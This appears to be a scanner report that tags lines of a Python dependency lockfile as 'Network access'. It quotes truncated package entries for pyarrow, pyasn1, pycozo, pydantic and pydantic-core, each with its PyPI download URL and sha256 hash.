{ url = "https://files.pythonhosted.org/packages/95/1a/22bfb6597dcdc861fa83c39c06e1457cb56f698940eff42fbb25de30e8e5/pyarrow-25.0.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:fa1482b3da10cac2d4db6e26b81da543e237616af2ef6d466018b - Network accessline 1986
{ url = "https://files.pythonhosted.org/packages/55/0e/cd705c042bc4fe7022478db577fcab4abdcfabb9bc37ab7a75556b3fcb2b/pyarrow-25.0.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:5d1dbf24e151042f2fa3c129563f65d66674128868496fb008c427 - Network accessline 1987
{ url = "https://files.pythonhosted.org/packages/98/ee/d822e1ee31fe31ec5d057210e0605c950b975dcd8d9a332976cc859a9df8/pyarrow-25.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:20887a762dd61dcc530f93a140840ab1f6aa7836b33270e42d627a - Network accessline 1988
{ url = "https://files.pythonhosted.org/packages/33/1b/207a90cc64619a095eb75a263ae069735f2810056d43c667befd573ec083/pyarrow-25.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:58d1ab556b0cea1c93fdb799b24ad58adb2f2a2788dbce782a94f64 - Network accessline 1989
{ url = "https://files.pythonhosted.org/packages/7e/fe/81d1e5f8beed15c01e98649d5c6e2167b67fd395884a2488f18bf1cf0dba/pyarrow-25.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:3f356afe61186395c861d5cd63dc21ff7d5fa335012a4668d979257df7fea0f5", - Network accessline 1990
{ url = "https://files.pythonhosted.org/packages/6c/c8/098ce17d778fd9d29e40bb8c5f19a40cc90c3f0b46c9057b0d7993f42f54/pyarrow-25.0.0-cp313-cp313-macosx_12_0_arm64.whl", hash = "sha256:8831a3ba52fa7cdb78d368d968b1dcd06171e6dff5461e16d90de91d37 - Network accessline 1991
{ url = "https://files.pythonhosted.org/packages/bc/66/24c28877219abf6263d909b1592c97ff82c59f13a59acbed11fc87c0654f/pyarrow-25.0.0-cp313-cp313-macosx_12_0_x86_64.whl", hash = "sha256:5f4bacb60f91dd2fca6c52f1b9a0012cd090e0294f1f781dc1881a247 - Network accessline 1992
{ url = "https://files.pythonhosted.org/packages/53/55/6d1d5f5aff317ec5de9421594679ed51ed828fe7e2ce209327f819d801e4/pyarrow-25.0.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:59516c822d5fd8e544aaa0dfe72f36fed5d4c24ea8390aab1bcd3 - Network accessline 1993
{ url = "https://files.pythonhosted.org/packages/b5/5d/f790fb6965ab54c9da0dda7856abc75fd0d7648d865f8d603c111d203a64/pyarrow-25.0.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:6f9dbd83e91c239a1f5ee7ce13f108b5f6c0efbe40a4375260d8f0 - Network accessline 1994
{ url = "https://files.pythonhosted.org/packages/0c/8c/faf025357ebf31bc96777f234277aa31e2aeca6dd4ecaa391f29085473c2/pyarrow-25.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:18dcc8cc50b5e72eae6fcbfc6c8776c21a007176b27a3cdec5c2f5 - Network accessline 1995
{ url = "https://files.pythonhosted.org/packages/07/a1/bd051871708ea99a5e0fc711926c26c6f2c6d0130c7aaac8093e34998af6/pyarrow-25.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4ec1895a87aa834c3b99b7a1e758747eb8bb57f922b32c0e0fa04af - Network accessline 1996
{ url = "https://files.pythonhosted.org/packages/7c/31/737f0c3cffcd6af647849477d1dd68045deac2e3963c3f9f211bedc48540/pyarrow-25.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:77c8d1ae46a44b4006e8db1cc977bbcc6ce4873c92f74137d68e45503b97fb18", - Network accessline 1997
{ url = "https://files.pythonhosted.org/packages/55/c7/581ccbcdb3d897eb2893328d68db3d52eca373bf2a7e964d0a6276b8e85b/pyarrow-25.0.0-cp314-cp314-macosx_12_0_arm64.whl", hash = "sha256:72132b9a8a0a1840197794d4dea26080069b6b0981c116bc078762dc96 - Network accessline 1998
{ url = "https://files.pythonhosted.org/packages/64/d1/ccb01db7329ea0411ef4fbd9b62a04d3268b36777d4e758d5e39b91ddeab/pyarrow-25.0.0-cp314-cp314-macosx_12_0_x86_64.whl", hash = "sha256:e009ef945e498dca2f050ea10d2e9764cb44017254826fc4574fdb8d2 - Network accessline 1999
{ url = "https://files.pythonhosted.org/packages/af/9f/2d81ba89d1e4198d0cb25fe7529de936830fdaec0db926bb52a1ef7080d4/pyarrow-25.0.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:f57a39dbcb416345401c2e77a4373669b45fd111a1768e6cf267a - Network accessline 2000
{ url = "https://files.pythonhosted.org/packages/6a/29/0ed312ec800fb536f93783215126cee4b8977dcfeccba6f0f44df0cc87d7/pyarrow-25.0.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:447df764beb07c544f0178a5f6b70ef44b9ecf382b3cdfad4c2d78 - Network accessline 2001
{ url = "https://files.pythonhosted.org/packages/ca/88/cab5063ba0c4d46a9f6b4b7eb1c9029dc0302d65cd5ab3510c949a386568/pyarrow-25.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ac5dfeee59f9ceb4d45ba76e83b026c38c24334135bb329d8274ba - Network accessline 2002
{ url = "https://files.pythonhosted.org/packages/7b/fb/4d24f1b7fe2e042dc4ef315ef75e4e702d8e46fe10c37e63caff00502b03/pyarrow-25.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f0f100dacf2c0f400601664a79d1a907ced4740514bb2b009173410 - Network accessline 2003
{ url = "https://files.pythonhosted.org/packages/fa/65/da20806de93ca6ee91e72cb6a9b08b3ac890b46efc8d94a7326c651c4c81/pyarrow-25.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:2e093efbecb5317372f819228fa4b4e6157eee48d3f0a7b0303705ebf81a7104", - Network accessline 2004
{ url = "https://files.pythonhosted.org/packages/86/9f/c632afb1d3ef4a7814cee236718235f3a47eac46e97eb87df40f550b6b48/pyarrow-25.0.0-cp314-cp314t-macosx_12_0_arm64.whl", hash = "sha256:26be35b80780d2d21f4bae3d568b1666337c3a89722cc1794c956a770 - Network accessline 2005
{ url = "https://files.pythonhosted.org/packages/36/0a/093d53a0e72ad06e45d6443e00651bbc2d21af4211295086cbf4d873d3b9/pyarrow-25.0.0-cp314-cp314t-macosx_12_0_x86_64.whl", hash = "sha256:6f4812bfbf11ca7d8faf59eb8fff8bf4dd25ce3a38b62baa010cc17a - Network accessline 2006
{ url = "https://files.pythonhosted.org/packages/8a/18/b37fc31a69cff4bdfb8842683def5612f551b93fff6f44375e4a4a6a5535/pyarrow-25.0.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:b8af8ceedf0c9c160fd2b63440f2d205b9404db85866c1217bfe - Network accessline 2007
{ url = "https://files.pythonhosted.org/packages/32/35/5cae19ba72493e5598022468b56f6a5571f399f485bf412f157356476caa/pyarrow-25.0.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:c70a5fd9a82bd1a702fd482bdc62d38dcb672fb2b449b1d7c0d7d - Network accessline 2008
{ url = "https://files.pythonhosted.org/packages/2e/a5/ddd508424bdfd5e6945765e9e2ffc687e2f6115972badc8ecf423076c407/pyarrow-25.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0490a7f8b38ffe11cc26526b50c65d111cb54ddac3717cec78180 - Network accessline 2009
{ url = "https://files.pythonhosted.org/packages/5f/a4/324d0db203ff5eebe8694ec2d6ec5a23f9aaa5d02e5b8c692914c518c33c/pyarrow-25.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:e83916bbcf380866b4e14255850b33323ff678dc9758411d0409cd - Network accessline 2010
{ url = "https://files.pythonhosted.org/packages/bd/8d/d236e9c82fe315f9128885c8be3ec719f41965a1eb6b6f4b42470904cd41/pyarrow-25.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:13240f0d3dc5932ccd0bfa90cd76d835680b9d94a7661c635df4b703d40ce849" - Network accessline 2014
name = "pyasn1" version = "0.6.3" source = { registry = "https://pypi.org/simple" } - Network accessline 2015
version = "0.6.3" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/5c/5f/6583902b6f79b399c9c40674ac384fd9cd77805f9e6205075f828ef11fb2/pyasn1-0.6.3.tar.gz", hash = "sha256:697a8ecd6d9 - Network accessline 2016
source = { registry = "https://pypi.org/simple" } - Network accessline 2017
sdist = { url = "https://files.pythonhosted.org/packages/5c/5f/6583902b6f79b399c9c40674ac384fd9cd77805f9e6205075f828ef11fb2/pyasn1-0.6.3.tar.gz", hash = "sha256:697a8ecd6d98891189184ca1fa05d1bb00e2f84b5977c481452050549c8a72cf", size = 14868 - Network accessline 2018
wheels = [ { url = "https://files.pythonhosted.org/packages/5d/a0/7d793dce3fa811fe047d6ae2431c672364b462850c6235ae306c0efd025f/pyasn1-0.6.3-py3-none-any.whl", hash = "sha256:a80184d120f0864a52a073acc6fc642847d0be408e7c7252f31390c0f4eadc - Network accessline 2019
{ url = "https://files.pythonhosted.org/packages/5d/a0/7d793dce3fa811fe047d6ae2431c672364b462850c6235ae306c0efd025f/pyasn1-0.6.3-py3-none-any.whl", hash = "sha256:a80184d120f0864a52a073acc6fc642847d0be408e7c7252f31390c0f4eadcde", size = 839 - Network accessline 2023
name = "pyasn1-modules" version = "0.4.2" source = { registry = "https://pypi.org/simple" } - Network accessline 2024
version = "0.4.2" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 2025
source = { registry = "https://pypi.org/simple" } - Network accessline 2027
{ name = "pyasn1" }, ] sdist = { url = "https://files.pythonhosted.org/packages/e9/e6/78ebbb10a8c8e4b61a59249394a4a594c1a7af95593dc933a349c8d00964/pyasn1_modules-0.4.2.tar.gz", hash = "sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa39 - Network accessline 2028
] sdist = { url = "https://files.pythonhosted.org/packages/e9/e6/78ebbb10a8c8e4b61a59249394a4a594c1a7af95593dc933a349c8d00964/pyasn1_modules-0.4.2.tar.gz", hash = "sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa396440ac3106e941e6", si - Network accessline 2029
sdist = { url = "https://files.pythonhosted.org/packages/e9/e6/78ebbb10a8c8e4b61a59249394a4a594c1a7af95593dc933a349c8d00964/pyasn1_modules-0.4.2.tar.gz", hash = "sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa396440ac3106e941e6", size - Network accessline 2030
wheels = [ { url = "https://files.pythonhosted.org/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b - Network accessline 2031
{ url = "https://files.pythonhosted.org/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a", si - Network accessline 2035
name = "pycozo" version = "0.3.0" source = { registry = "https://pypi.org/simple" } - Network accessline 2036
version = "0.3.0" source = { registry = "https://pypi.org/simple" } resolution-markers = [ - Network accessline 2037
source = { registry = "https://pypi.org/simple" } - Network accessline 2041
"(python_full_version < '3.13' and platform_machine != 'aarch64') or (python_full_version < '3.13' and sys_platform != 'linux')", ] sdist = { url = "https://files.pythonhosted.org/packages/8f/5e/9e9b8b490fd69b75f969c7cfdebca172af9a82a4cd83e - Network accessline 2042
] sdist = { url = "https://files.pythonhosted.org/packages/8f/5e/9e9b8b490fd69b75f969c7cfdebca172af9a82a4cd83e4b32d9e6750683f/pycozo-0.3.0.tar.gz", hash = "sha256:be5c2696c0c18e98452c06f21979ac2ca0c94c4ef313634bbd49936c77d87abb", size = 125 - Network accessline 2043
sdist = { url = "https://files.pythonhosted.org/packages/8f/5e/9e9b8b490fd69b75f969c7cfdebca172af9a82a4cd83e4b32d9e6750683f/pycozo-0.3.0.tar.gz", hash = "sha256:be5c2696c0c18e98452c06f21979ac2ca0c94c4ef313634bbd49936c77d87abb", size = 12521 - Network accessline 2044
wheels = [ { url = "https://files.pythonhosted.org/packages/01/83/d873d1b4f6a8224b4efaccfa5fbc207abaa6db03458b3bb5f46b12859f95/pycozo-0.3.0-py3-none-any.whl", hash = "sha256:f256de2f49684621c8dc1f93239d566c2045fd51b2dd74dca6c6a21b937d29 - Network accessline 2045
{ url = "https://files.pythonhosted.org/packages/01/83/d873d1b4f6a8224b4efaccfa5fbc207abaa6db03458b3bb5f46b12859f95/pycozo-0.3.0-py3-none-any.whl", hash = "sha256:f256de2f49684621c8dc1f93239d566c2045fd51b2dd74dca6c6a21b937d297d", size = 122 - Network accessline 2048
[package.optional-dependencies] embedded = [ { name = "cozo-embedded", version = "0.3.0", source = { registry = "https://pypi.org/simple" }, marker = "platform_machine != 'aarch64' or sys_platform != 'linux'" }, - Network accessline 2049
embedded = [ { name = "cozo-embedded", version = "0.3.0", source = { registry = "https://pypi.org/simple" }, marker = "platform_machine != 'aarch64' or sys_platform != 'linux'" }, ] - Network accessline 2050
{ name = "cozo-embedded", version = "0.3.0", source = { registry = "https://pypi.org/simple" }, marker = "platform_machine != 'aarch64' or sys_platform != 'linux'" }, - Network accessline 2054
name = "pycozo" version = "0.7.6" source = { registry = "https://pypi.org/simple" } - Network accessline 2055
version = "0.7.6" source = { registry = "https://pypi.org/simple" } resolution-markers = [ - Network accessline 2056
source = { registry = "https://pypi.org/simple" } - Network accessline 2060
"python_full_version < '3.13' and platform_machine == 'aarch64' and sys_platform == 'linux'", ] sdist = { url = "https://files.pythonhosted.org/packages/92/18/dc0dd2db0f1661e2cf17a653da59b6812f30ddc976a66b7972fd5d2809bc/pycozo-0.7.6.tar.gz" - Network accessline 2061
] sdist = { url = "https://files.pythonhosted.org/packages/92/18/dc0dd2db0f1661e2cf17a653da59b6812f30ddc976a66b7972fd5d2809bc/pycozo-0.7.6.tar.gz", hash = "sha256:e4be9a091ba71e9d4465179bbf7557d47af84c8114d4889bd5fa13c731d57a95", size = 190 - Network accessline 2062
sdist = { url = "https://files.pythonhosted.org/packages/92/18/dc0dd2db0f1661e2cf17a653da59b6812f30ddc976a66b7972fd5d2809bc/pycozo-0.7.6.tar.gz", hash = "sha256:e4be9a091ba71e9d4465179bbf7557d47af84c8114d4889bd5fa13c731d57a95", size = 19091 - Network accessline 2063
wheels = [ { url = "https://files.pythonhosted.org/packages/a1/e9/47ccff69e94bc80388c67e12b3c25244198fcfb1d3fad96489ed436a8e3f/pycozo-0.7.6-py3-none-any.whl", hash = "sha256:8930de5f82277d6481998a585c79aa898991cfb0692e168bde8b0a4558d579 - Network accessline 2064
{ url = "https://files.pythonhosted.org/packages/a1/e9/47ccff69e94bc80388c67e12b3c25244198fcfb1d3fad96489ed436a8e3f/pycozo-0.7.6-py3-none-any.whl", hash = "sha256:8930de5f82277d6481998a585c79aa898991cfb0692e168bde8b0a4558d579cf", size = 189 - Network accessline 2067
[package.optional-dependencies] embedded = [ { name = "cozo-embedded", version = "0.7.6", source = { registry = "https://pypi.org/simple" }, marker = "platform_machine == 'aarch64' and sys_platform == 'linux'" }, - Network accessline 2068
embedded = [ { name = "cozo-embedded", version = "0.7.6", source = { registry = "https://pypi.org/simple" }, marker = "platform_machine == 'aarch64' and sys_platform == 'linux'" }, ] - Network accessline 2069
{ name = "cozo-embedded", version = "0.7.6", source = { registry = "https://pypi.org/simple" }, marker = "platform_machine == 'aarch64' and sys_platform == 'linux'" }, - Network accessline 2073
name = "pycparser" version = "3.0" source = { registry = "https://pypi.org/simple" } - Network accessline 2074
version = "3.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d21730 - Network accessline 2075
source = { registry = "https://pypi.org/simple" } - Network accessline 2076
sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 1034 - Network accessline 2077
wheels = [ { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a - Network accessline 2078
{ url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48 - Network accessline 2082
name = "pydantic" version = "2.13.4" source = { registry = "https://pypi.org/simple" } - Network accessline 2083
version = "2.13.4" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 2084
source = { registry = "https://pypi.org/simple" } - Network accessline 2089
{ name = "typing-inspection" }, ] sdist = { url = "https://files.pythonhosted.org/packages/18/a5/b60d21ac674192f8ab0ba4e9fd860690f9b4a6e51ca5df118733b487d8d6/pydantic-2.13.4.tar.gz", hash = "sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e - Network accessline 2090
] sdist = { url = "https://files.pythonhosted.org/packages/18/a5/b60d21ac674192f8ab0ba4e9fd860690f9b4a6e51ca5df118733b487d8d6/pydantic-2.13.4.tar.gz", hash = "sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6", size = - Network accessline 2091
sdist = { url = "https://files.pythonhosted.org/packages/18/a5/b60d21ac674192f8ab0ba4e9fd860690f9b4a6e51ca5df118733b487d8d6/pydantic-2.13.4.tar.gz", hash = "sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6", size = 84 - Network accessline 2092
wheels = [ { url = "https://files.pythonhosted.org/packages/fd/7b/122376b1fd3c62c1ed9dc80c931ace4844b3c55407b6fb2d199377c9736f/pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924 - Network accessline 2093
{ url = "https://files.pythonhosted.org/packages/fd/7b/122376b1fd3c62c1ed9dc80c931ace4844b3c55407b6fb2d199377c9736f/pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba", size = - Network accessline 2102
name = "pydantic-core" version = "2.46.4" source = { registry = "https://pypi.org/simple" } - Network accessline 2103
version = "2.46.4" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 2104
source = { registry = "https://pypi.org/simple" } - Network accessline 2106
{ name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc - Network accessline 2107
] sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", si - Network accessline 2108
sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size - Network accessline 2109
wheels = [ { url = "https://files.pythonhosted.org/packages/ce/8c/af022f0af448d7747c5154288d46b5f2bc5f17366eaa0e23e9aa04d59f3b/pydantic_core-2.46.4-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:3245406455a5d98187ec35530fd772b1d79 - Network accessline 2110
{ url = "https://files.pythonhosted.org/packages/ce/8c/af022f0af448d7747c5154288d46b5f2bc5f17366eaa0e23e9aa04d59f3b/pydantic_core-2.46.4-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:3245406455a5d98187ec35530fd772b1d799b26667980872c8 - Network accessline 2111
{ url = "https://files.pythonhosted.org/packages/19/95/6195171e385007300f0f5574592e467c568becce2d937a0b6804f218bc49/pydantic_core-2.46.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:962ccbab7b642487b1d8b7df90ef677e03134cf1fd8880bf6986 - Network accessline 2112
{ url = "https://files.pythonhosted.org/packages/8e/bc/f47d1ff9cbb1620e1b5b697eef06010035735f07820180e74178226b27b3/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8233f2947cf85404441fd7e00 - Network accessline 2113
{ url = "https://files.pythonhosted.org/packages/5b/11/9b9a5b0306345664a2da6410877af6e8082481b5884b3ddd78d47c6013ce/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3a233125ac121aa3ffba9a2b59e - Network accessline 2114
{ url = "https://files.pythonhosted.org/packages/f1/b7/a65fec226f5d78fc39f4a13c4cc0c768c22b113438f60c14adc9d2865038/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b712b53160b79a5850310b91 - Network accessline 2115
{ url = "https://files.pythonhosted.org/packages/68/f0/92039db98b907ef49269a8271f67db9cb78ae2fc68062ef7e4e77adb5f61/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9401557acd873c3a7f3eb9383edef - Network accessline 2116
{ url = "https://files.pythonhosted.org/packages/5f/97/2aab507d3d00ca626e8e57c1eac6a79e4e5fbcc63eb99733ff55d1717f65/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:926c9541b14b12b1681dca8a0b7 - Network accessline 2117
{ url = "https://files.pythonhosted.org/packages/22/37/a8aca44d40d737dde2bc05b3c6c07dff0de07ce6f82e9f3167aeaf4d5dea/pydantic_core-2.46.4-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:56cb4851bcaf3d117eddcef4fe66afd750a50274b0da8e2 - Network accessline 2118
{ url = "https://files.pythonhosted.org/packages/24/99/fcef1b79238c06a8cbec70819ac722ba76e02bc8ada9b0fd66eba40da01b/pydantic_core-2.46.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c68fcd102d71ea85c5b2dfac3f4f8476eff - Network accessline 2119
{ url = "https://files.pythonhosted.org/packages/ae/6c/fc44000918855b42779d007ae63b0532794739027b2f417321cddbc44f6a/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b2f69dec1725e79a012d920df1707de5caf7ed5e08f3be44 - Network accessline 2120
{ url = "https://files.pythonhosted.org/packages/6b/65/d9cadc9f1920d7a127ad2edba16c1db7916e59719285cd6c94600b0080ba/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:8d0820e8192167f80d88d64038e609c31452eeca865b4e1d9 - Network accessline 2121
{ url = "https://files.pythonhosted.org/packages/d0/cf/c873d91679f3a30bcf5e7ac280ce5573483e72295307685120d0d5ad3416/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fbdb89b3e1c94a30cc5edfce477c6e6a5dc4d8f84665b455c - Network accessline 2122
{ url = "https://files.pythonhosted.org/packages/47/bd/6f2fc8188f31bf10590f1e98e7b306336161fac930a8c514cd7bd828c7dc/pydantic_core-2.46.4-cp312-cp312-win32.whl", hash = "sha256:9aa768456404a8bf48a4406685ac2bec8e72b62c69313734fa3b73cf33b3a894 - Network accessline 2123
{ url = "https://files.pythonhosted.org/packages/40/8c/985c1d41ea1107c2534abd9870e4ed5c8e7669b5c308297835c001e7a1c4/pydantic_core-2.46.4-cp312-cp312-win_amd64.whl", hash = "sha256:e9c26f834c65f5752f3f06cb08cb86a913ceb7274d0db6e267808a708b46 - Network accessline 2124
{ url = "https://files.pythonhosted.org/packages/c4/ba/f463d006e0c47373ca7ec5e1a261c59dc01ef4d62b2657af925fb0deee3a/pydantic_core-2.46.4-cp312-cp312-win_arm64.whl", hash = "sha256:4fc73cb559bdb54b1134a706a2802a4cddd27a0633f5abb7e53056268751 - Network accessline 2125
{ url = "https://files.pythonhosted.org/packages/51/a2/5d30b469c5267a17b39dec53208222f76a8d351dfac4af661888c5aee77d/pydantic_core-2.46.4-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:5d5902252db0d3cedf8d4a1bc68f70eeb430f7e4c7104c8c47 - Network accessline 2126
{ url = "https://files.pythonhosted.org/packages/c1/81/4fa520eaffa8bd7d1525e644cd6d39e7d60b1592bc5b516693c7340b50f1/pydantic_core-2.46.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c94f0688e7b8d0a67abf40e57a7eaaecd17cc9586706a31b76c0 - Network accessline 2127
{ url = "https://files.pythonhosted.org/packages/03/d5/fd02da45b659668b05923b17ba3a0100a0a3d5541e3bd8fcc4ecb711309e/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f027324c56cd5406ca49c124b - Network accessline 2128
{ url = "https://files.pythonhosted.org/packages/21/f2/95727e1368be3d3ed485eaab7adbd7dda408f33f7a36e8b48e0144002b91/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e739fee756ba1010f8bcccb5342 - Network accessline 2129
{ url = "https://files.pythonhosted.org/packages/9c/86/5d99feea3f77c7234b8718075b23db11532773c1a0dbd9b9490215dc2eeb/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9d56801be94b86a9da183e5f3 - Network accessline 2130
{ url = "https://files.pythonhosted.org/packages/d2/3a/508ac615935ef7588cf6d9e9b91309fdc2da751af865e02a9098de88258c/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2412e734dcb48da14d4e4006b82b4 - Network accessline 2131
{ url = "https://files.pythonhosted.org/packages/07/f8/41db9de19d7987d6b04715a02b3b40aea467000275d9d758ffaa31af7d50/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9551187363ffc0de2a00b2e47c2 - Network accessline 2132
{ url = "https://files.pythonhosted.org/packages/2c/e2/f35033184cb11d0052daf4416e8e10a502ea2ac006fc4f459aee872727d1/pydantic_core-2.46.4-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:0186750b482eefa11d7f435892b09c5c606193ef3375bcf - Network accessline 2133
{ url = "https://files.pythonhosted.org/packages/7e/7b/6ceeb1cc90e193862f444ebe373d8fdf613f0a82572dde03fb10734c6c71/pydantic_core-2.46.4-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5855698a4856556d86e8e6cd8434bc3ac03 - Network accessline 2134
{ url = "https://files.pythonhosted.org/packages/5a/f2/c8d7773ede6af08036423a00ae0ceffce266c3c52a096c435d68c896083f/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:cbaf13819775b7f769bf4a1f066cb6df7a28d4480081a589 - Network accessline 2135
{ url = "https://files.pythonhosted.org/packages/59/31/0c864784e31f09f05cdd87606f08923b9c9e7f6e51dd27f20f62f975ce9f/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:633147d34cf4550417f12e2b1a0383973bdf5cdfde212cb09 - Network accessline 2136
{ url = "https://files.pythonhosted.org/packages/c2/eb/4f6c8a41efa30baa755590f4141abf3a8c370fab610915733e74134a7270/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:82cf5301172168103724d49a1444d3378cb20cdee30b116a1 - Network accessline 2137
{ url = "https://files.pythonhosted.org/packages/5b/24/b375a480d53113860c299764bfe9f349a3dc9108b3adc0d7f0d786492ebf/pydantic_core-2.46.4-cp313-cp313-win32.whl", hash = "sha256:9fa8ae11da9e2b3126c6426f147e0fba88d96d65921799bb30c6abd1cb2c97fb - Network accessline 2138
{ url = "https://files.pythonhosted.org/packages/7e/e8/cff247591966f2d22ec8c003cd7587e27b7ba7b81ab2fb888e3ab75dc285/pydantic_core-2.46.4-cp313-cp313-win_amd64.whl", hash = "sha256:6b3ace8194b0e5204818c92802dcdca7fc6d88aabbb799d7c795540d9cd6 - Network accessline 2139
{ url = "https://files.pythonhosted.org/packages/c6/1a/f4aee670d5670e9e148e0c82c7db98d780be566c6e6a97ee8035528ca0b3/pydantic_core-2.46.4-cp313-cp313-win_arm64.whl", hash = "sha256:184c081504d17f1c1066e430e117142b2c77d9448a97f7b65c6ac9fd9aee - Network accessline 2140
{ url = "https://files.pythonhosted.org/packages/8d/74/228a26ddad29c6672b805d9fd78e8d251cd04004fa7eed0e622096cd0250/pydantic_core-2.46.4-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:428e04521a40150c85216fc8b85e8d39fece235a9cf5e38376 - Network accessline 2141
